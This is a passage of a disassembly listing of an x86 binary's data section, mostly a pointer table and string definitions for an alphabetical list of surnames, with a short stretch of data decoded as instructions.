; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" ; --------------------------------------------------------------------------- fsubr st, st(3) inc edx add al, dl jmp short loc_42E6E1 ; --------------------------------------------------------------------------- align 10h enter 42EBh, 0 shr bl, 42h add [eax-53FFBD15h], bh jmp short loc_42E6F1 ; --------------------------------------------------------------------------- align 10h mov al, ds:980042EBh loc_42E6B5: ; CODE XREF: ___:0042E6C8j jmp short loc_42E6F9 ; --------------------------------------------------------------------------- align 4 dd offset aTudge ; "Tudge" ; --------------------------------------------------------------------------- mov bl, ch inc edx add [eax+780042EBh], al jmp short loc_42E709 ; --------------------------------------------------------------------------- align 4 jo short loc_42E6B5 inc edx add [eax-15h], ch inc edx add [ebx+ebp*8+42h], bl add [ebx+ebp*8+42h], dl add [eax-15h], cl inc edx add [eax-15h], al inc edx add [eax], bh loc_42E6E1: ; CODE XREF: ___:0042E69Dj jmp short loc_42E725 ; --------------------------------------------------------------------------- align 4 sub bl, ch inc edx add [eax], ah jmp short loc_42E72D ; --------------------------------------------------------------------------- align 4 sbb bl, ch inc edx add [eax], dl loc_42E6F1: ; CODE XREF: ___:0042E6ADj jmp short loc_42E735 ; --------------------------------------------------------------------------- align 4 dd offset aWaite ; "Waite" db 0 ; --------------------------------------------------------------------------- loc_42E6F9: ; CODE XREF: ___:loc_42E6B5j jmp short loc_42E73D ; --------------------------------------------------------------------------- align 4 dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" db 0D8h ; --------------------------------------------------------------------------- loc_42E709: ; CODE XREF: ___:0042E6C5j jmp far ptr 42h:0EACC0042h ; --------------------------------------------------------------------------- dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" db 88h ; --------------------------------------------------------------------------- loc_42E725: ; CODE XREF: ___:loc_42E6E1j jmp far ptr 42h:0EA800042h ; --------------------------------------------------------------------------- db 74h ; --------------------------------------------------------------------------- loc_42E72D: ; CODE XREF: ___:0042E6E9j jmp far ptr 42h:0EA680042h ; --------------------------------------------------------------------------- pop esp loc_42E735: ; CODE XREF: ___:loc_42E6F1j jmp far ptr 42h:0EA500042h ; --------------------------------------------------------------------------- db 44h ; --------------------------------------------------------------------------- loc_42E73D: ; CODE XREF: ___:loc_42E6F9j jmp far ptr 42h:0EA380042h ; --------------------------------------------------------------------------- dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042E830o align 10h aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042E82Co align 4 aZurn db 'Zurn',0 ; DATA XREF: ___:0042E828o align 10h aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042E824o aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042E820o align 10h aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042E81Co aZegans db 'Zegans',0 ; DATA XREF: ___:0042E818o align 10h aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042E814o align 4 aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042E810o align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042E80Co aYu db 'Yu',0 ; DATA XREF: ___:0042E808o align 10h aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042E804o align 4 aYoo db 'Yoo',0 ; DATA XREF: ___:0042E800o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042E7FCo align 4 aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042E7F8o align 10h aYesson db 'Yesson',0 ; DATA XREF: ___:0042E7F4o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042E7F0o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042E7ECo align 4 aYates db 'Yates',0 ; DATA XREF: ___:0042E7E8o align 10h aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042E7E4o aYankee db 'Yankee',0 ; DATA XREF: ___:0042E7E0o align 10h aYamane db 'Yamane',0 ; DATA XREF: ___:0042E7DCo align 4 aYacono db 'Yacono',0 ; DATA XREF: ___:0042E7D8o align 10h aVotey db 'Votey',0 ; DATA XREF: ___:0042E7D4o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042E7D0o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042E7CCo align 10h aWoods db 'Woods',0 ; DATA XREF: ___:0042E7C8o align 4 aWooden db 'Wooden',0 ; DATA XREF: ___:0042E7C4o align 10h aWoo db 'Woo',0 ; DATA XREF: ___:0042E7C0o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042E7BCo align 10h aWolk db 'Wolk',0 ; DATA XREF: ___:0042E7B8o align 4 aVoigt db 'Voigt',0 ; DATA XREF: ___:0042E7B4o align 10h aViviani db 'Viviani',0 ; DATA XREF: ___:0042E7B0o aVitali db 'Vitali',0 ; DATA XREF: ___:0042E7ACo align 10h aWilson db 'Wilson',0 ; DATA XREF: ___:0042E7A8o align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042E7A4o aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042E7A0o align 10h aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042E79Co align 4 aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042E798o align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042E794o align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042E790o aWilder db 'Wilder',0 ; DATA XREF: ___:0042E78Co align 4 aVignola db 'Vignola',0 ; DATA XREF: ___:0042E788o aViens db 'Viens',0 ; DATA XREF: ___:0042E784o align 4 aWiener db 'Wiener',0 ; DATA XREF: ___:0042E780o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042E77Co aViano db 'Viano',0 ; DATA XREF: ___:0042E778o align 4 aViana db 'Viana',0 ; DATA XREF: ___:0042E774o align 10h aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042E770o align 4 aWhitla db 'Whitla',0 ; DATA XREF: ___:0042E76Co align 4 aWhite db 'White',0 ; DATA XREF: ___:0042E768o align 4 aWhilton db 'Whilton',0 ; DATA XREF: ___:0042E764o aWhately db 'Whately',0 ; DATA XREF: ___:0042E760o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042E75Co align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042E758o aVerghese db 'Verghese',0 ; DATA XREF: ___:0042E754o align 4 aVenne db 'Venne',0 ; DATA XREF: ___:0042E750o align 10h aWengret db 'Wengret',0 ; DATA XREF: ___:0042E74Co aWelsh db 'Welsh',0 ; DATA XREF: ___:0042E748o align 10h aWelles db 'Welles',0 ; DATA XREF: ___:0042E744o align 4 aVelasquez db 'Velasquez',0 align 4 aWeissman db 'Weissman',0 align 10h aWeissbourd db 'Weissbourd',0 align 4 aWeinhaus db 'Weinhaus',0 align 4 aWeingarten db 'Weingarten',0 align 4 aWeighart db 'Weighart',0 align 10h aWaugh db 'Waugh',0 align 4 aVasquez db 'Vasquez',0 aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042E720o align 4 aWarshafsky db 